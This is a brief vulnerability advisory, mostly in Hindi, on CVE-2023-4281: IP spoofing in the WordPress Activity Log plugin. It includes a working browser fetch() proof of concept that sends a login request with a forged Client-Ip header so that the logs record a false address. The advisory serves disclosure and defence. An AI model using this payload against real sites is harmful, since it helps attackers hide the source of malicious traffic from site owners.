CVE-2023-4281

CVE आईडी: CVE-2023-4281

भेद्यता प्रकार: IP पता स्पूफिंग

विवरण: Activity Log प्लगइन संभावित अविश्वसनीय हेडर से क्लाइंट IP पते प्राप्त करता है, जिससे हमलावर इसके मान में हेरफेर कर सकता है। इसका उपयोग दुर्भावनापूर्ण ट्रैफ़िक के स्रोत को छिपाने के लिए किया जा सकता है।

पुनरुत्पादन के चरण:

Run the following code in the web browser and note on the backend that the IP address has been faked.

await fetch("/wp-login.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
    "Client-Ip": "8.8.8.8",
  },
  "body": "log=USERNAME&pwd=PASSWORD",
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
});

संदर्भ:

1. https://wpscan.com/vulnerability/f5ea6c8a-6b07-4263-a1be-dd033f078d49
2. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-4281
3. https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/aryo-activity-log/activity-log-287-ip-address-spoofing